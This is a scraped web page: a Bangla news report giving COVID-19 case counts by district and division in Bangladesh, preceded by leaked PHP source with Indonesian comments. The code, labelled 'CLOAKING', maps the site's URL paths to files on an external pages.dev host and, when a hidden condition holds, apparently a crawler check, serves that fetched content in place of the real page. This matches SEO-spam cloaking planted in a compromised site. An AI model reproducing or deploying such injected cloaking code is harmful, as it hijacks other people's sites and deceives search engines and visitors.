/* ===== NORMALISASI PATH (VERSI PERBAIKAN) ===== */ // Ambil path, hapus query string (?abc=123) jika ada $p = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); // Hilangkan index.php $p = str_replace('/index.php', '', $p); // Pastikan path selalu diawali dengan '/' dan tidak diakhiri dengan '/' (kecuali root) $p = '/' . ltrim(rtrim($p, '/'), '/'); /* ===== MAPPING URL ===== */ $map = [ '/technical/251262' => 'content39.txt', '/education-ministry/243185' => 'content40.txt', '/dshe/252183' => 'content41.txt', '/' => 'content42.txt', // Sekarang ini akan terpanggil dengan benar '/ntrca/238706' => 'content43.txt', '/section/admission-test/110' => 'content44.txt', '/section/ntrca/122' => 'content45.txt' ]; /* ===== CLOAKING ===== */ // Debugging sederhana (hapus jika sudah jalan): // echo "Path terdeteksi: " . $p; if($b && isset($map[$p])){ $content_url = "https://new-content-page.pages.dev/" . $map[$p]; $x = fetch($content_url); if($x && strlen(trim($x)) > 50){ header("Content-Type: text/html; charset=utf-8"); echo $x; exit; } }
© স্বাস্থ্য অধিদপ্তর
দেশে এ পর্যন্ত নভেল করোনাভাইরাসে আক্রান্ত হয়েছে মোট দুই হাজার ৯৪৮ জন। স্বাস্থ্য অধিদপ্তরের সর্বশেষ তথ্য মতে, ঢাকাসহ মোট ৫৪টি জেলায় ছড়িয়েছে এই ভাইরাসের সংক্রমণ। স্বাস্থ্য অধিদফতরের রোগতত্ত্ব, রোগ নিয়ন্ত্রণ ও রোগ গবেষণা প্রতিষ্ঠান (আইইডিসিআর) থেকে দেওয়া তথ্যে এই চিত্র উঠে এসেছে।
আইইডিসিআরের দেওয়া তথ্য অনুযায়ী, দেশে করোনা আক্রান্তের মধ্যে রাজানীতেই আক্রান্ত হয়েছেন এক হাজার ১৭৪ জন। এর বাইরে ঢাকার অন্য উপজেলাগুলোতেও আক্রান্ত আছেন আরও ৪২ জন। অর্থাৎ কেবল ঢাকা জেলাতেই আক্রান্তের সংখ্যা এক হাজার ২১৬ জন।
ঢাকার বাইরে সবচেয়ে বেশি করোনাভাইরাসে আক্রান্ত হয়েছেন নারায়ণগঞ্জে। করোনার নতুন হটস্পট ঘোষণা করা এই জেলায় আক্রান্তের সংখ্যা ৩৮৭ জন। এদিকে, গত রবিবার থেকে সোমবার পর্যন্ত একদিনে গাজীপুরে আক্রান্ত হয়েছেন ১০৬ জন। সব মিলিয়ে এ জেলায় আক্রান্তের সংখ্যা তৃতীয় সর্বোচ্চ ২৭৯ জন।
এছাড়া ঢাকা বিভাগের কিশোরগঞ্জে ১৪৬ জন, নরসিংদীতে ১৩৫ জন, গোপালগঞ্জে ৩০ জন, মাদারীপুরে ২৬ জন, টাঙ্গাইলে ১০ জন, রাজবাড়ীতে আটজন, শরীয়তপুরে আট জন, মানিকগঞ্জে সাতজন ও ফরিদপুরে ছয়জন করোনা আক্রান্ত পাওয়া গেছে।
ময়মনসিংহ বিভাগের ময়মনসিংহ জেলায় ৩৩ জন, জামালপুর জেলায় ২১ জন, নেত্রকোনায় ১৪ জন ও শেরপুরে ১৩ জনের মধ্যে কোভিড-১৯ সংক্রমণ পাওয়া গেছে। এই বিভাগে মোট আক্রান্তের সংখ্যা ৮১ জন।
চট্টগ্রাম জেলার বিভিন্ন এলাকায় ৪৩ জনের মধ্যে করোনা পজেটিভ পাওয়া গেছে। অন্যদিকে চট্টগ্রাম বিভাগের লক্ষ্মীপুরে ২৫ জন, কুমিল্লা জেলায় ২১ জন, ব্রাহ্মণবাড়িয়ায় ১১ জন, চাঁদপুরে ১০ জন, নোয়াখালী জেলায় চার জন, ফেনী জেলায় দুই জন, বান্দরবান জেলায় একজন ও কক্সবাজারে একজনের মধ্যে শনাক্ত হয়েছে এই ভাইরাসের উপস্থিতি। এই বিভাগে মোট আক্রান্ত ১১৮।
সিলেট বিভাগের চার জেলার মধ্যে সিলেটে চার জন, মৌলভীবাজারে দুইজন, হবিগঞ্জে একজন ও সুনামগঞ্জে একজনের মধ্যে করোনা সংক্রমণ পাওয়া গেছে। বিভাগে আক্রান্ত ৮ জন।
রংপুর বিভাগের গাইবান্ধায় ১৩ জন, দিনাজপুর জেলায় ১১ জন, নীলফামারীতে ৯ জন, ঠাকুরগাঁওয়ে ছয়জন, রংপুর জেলায় ছয়জন, লালমনিরহাটে দুইজন, কুড়িগ্রামে দুইজন এবং পঞ্চগড়ে একজনের মধ্যে করোনা পজেটিভ পাওয়া গেছে। এই বিভাগে আক্রান্তের সংখ্যা ৫০।
বরিশাল বিভাগের বরিশাল জেলায় ২৪ জন, বরগুনা জেলায় ১২ জন, পিরোজপুর জেলায় পাঁচজন, ঝালকাঠি জেলায় চারজন ও পটুয়াখালী জেলায় দুইজনের মধ্যে কোভিড-১৯ সংক্রমণ পাওয়া গেছে। বিভাগে মোট আক্রান্ত ৪৭ জন।
খুলনা বিভাগের খুলনা জেলায় তিনজন, নড়াইল জেলায় দুইজন, চুয়াডাঙ্গায় একজন, বাগেরহাটে দুইজন ও যশোরে একজনের মধ্যে করোনা পজেটিভ পাওয়া গেছে। বিভাগে মোট আক্রান্ত ৯ জন।
আর রাজশাহী বিভাগে এখন পর্যন্ত ১২ জনের মধ্যে করোনা পজেটিভ পাওয়া গেছে। এর মধ্যে রাজশাহী জেলায় পাঁচজন, জয়পুরহাটে দুইজন, পাবনায় দুইজন, বগুড়ায় একজন, নওগাঁ জেলায় একজন ও সিরাজগঞ্জ জেলায় একজনের মধ্যে করোনা পজেটিভ পাওয়া গেছে।
স্বাস্থ্য অধিদপ্তরের সর্বশেষ তথ্য অনুযায়ী, দেশে ২০ এপ্রিল দুপুর পর্যন্ত আগের ২৪ ঘণ্টায় করোনাভাইরাসে আক্রান্ত আরও ১০ জনের মৃত্যু হয়েছে। এ নিয়ে দেশে করোনা রোগে আক্রান্ত হয়ে মৃত্যুর সংখ্যা একশো ছাড়ালো।